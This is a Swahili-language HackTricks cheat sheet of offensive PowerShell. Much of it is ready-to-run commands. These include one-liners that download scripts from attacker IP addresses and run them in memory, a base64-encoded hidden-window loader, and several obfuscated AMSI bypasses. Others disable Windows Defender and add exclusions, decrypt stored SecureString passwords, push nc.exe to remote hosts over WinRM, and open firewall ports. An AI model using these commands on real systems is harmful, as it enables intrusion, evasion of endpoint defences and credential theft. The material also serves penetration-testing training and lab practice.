HackTricksMsingi wa PowerShell kwa Wapiga Hacking
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Mahali pa Kawaida pa PowerShell
powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
Amri za Msingi za PS kuanza
powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
Pakua & Tekeleza
powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Pakua & Tekeleza kwa nyuma na AMSI Bypass
powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
Kutumia b64 kutoka linux
powershell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
Download
System.Net.WebClient
powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest
powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
Wget
powershell
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
BitsTransfer
powershell
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
Base64 Kali & EncodedCommand
powershell
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
Sera ya Utekelezaji
Lugha Iliyopunguzika
Sera ya AppLocker
Wezesha WinRM (PS ya Kijijini)
powershell
enable-psremoting -force #This enables winrm
# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator
Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
Zima Ulinzi
powershell
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)
# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1
KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
AMSI bypass
amsi.dll ime pakiwa kwenye mchakato wako, na ina mipango muhimu kwa programu yoyote kuingiliana nayo. Na kwa sababu imepakiwa kwenye nafasi ya kumbukumbu ya mchakato ambao unadhibiti, unaweza kubadilisha tabia yake kwa kuandika upya maagizo kwenye kumbukumbu. Hii inafanya isigundue chochote.
Hivyo, lengo la AMSI bypasses unazofanya ni kuandika upya maagizo ya DLL hiyo kwenye kumbukumbu ili kufanya ugunduzi kuwa wa bure.
AMSI bypass generator ukurasa wa wavuti: https://amsi.fail/
powershell
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Managed API Call Hooking
Check this post for detailed info and the code. Utangulizi:
Teknolojia hii mpya inategemea API call hooking ya mbinu za .NET. Inavyoonekana, Mbinu za .NET zinahitaji kukusanywa hadi maelekezo ya mashine asilia katika kumbukumbu ambayo yanaonekana kama mbinu za asilia. Mbinu hizi zilizokusanywa zinaweza kuunganishwa kubadilisha mtiririko wa udhibiti wa programu.
Hatua za kufanya API call hooking ya mbinu za .NET ni:
- Tambua mbinu ya lengo ya kuunganishwa
- Mwelekeo mbinu yenye prototype sawa na lengo
- Tumia reflection kutafuta mbinu
- Hakikisha kila mbinu imekusanywa
- Tafuta eneo la kila mbinu katika kumbukumbu
- Badilisha mbinu ya lengo kwa maelekezo yanayoelekeza kwenye mbinu yetu ya uhalifu
AMSI Bypass 3 - SeDebug Privilege
Following this guide & code unaweza kuona jinsi, ukiwa na ruhusa ya kutosha ya kufuatilia michakato, unaweza kuanzisha mchakato wa powershell.exe, kuufuatilia, kufuatilia wakati unapoleta amsi.dll na kuizima.
AMSI Bypass - More Resources
PS-History
powershell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Tafuta faili mpya
Chaguzi: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
powershell
# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
Pata ruhusa
powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Toleo la OS na HotFixes
powershell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Mazingira
powershell
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value
Drives zingine zilizounganishwa
powershell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Kijito cha Takataka
powershell
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
Domain Recon
{{#ref}} powerview.md {{#endref}}
Watumiaji
powershell
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Secure String to Plaintext
powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
Au moja kwa moja kuchambua kutoka XML:
powershell
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
powershell
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Makundi
powershell
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Clipboard
powershell
Get-Clipboard
Mchakato
powershell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Huduma
Get-Service
Nenosiri kutoka kwa mfuatano salama
powershell
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Kazi za Ratiba
powershell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Network
Port Scan
powershell
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfaces
powershell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
powershell
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Njia
powershell
route print
ARP
powershell
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
powershell
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
powershell
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
powershell
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Kugeuza Mfuatano wa SDDL kuwa Format Inayosomeka
powershell
PS C:\> ConvertFrom-SddlString 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Owner : BUILTIN\Administrators
Group : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
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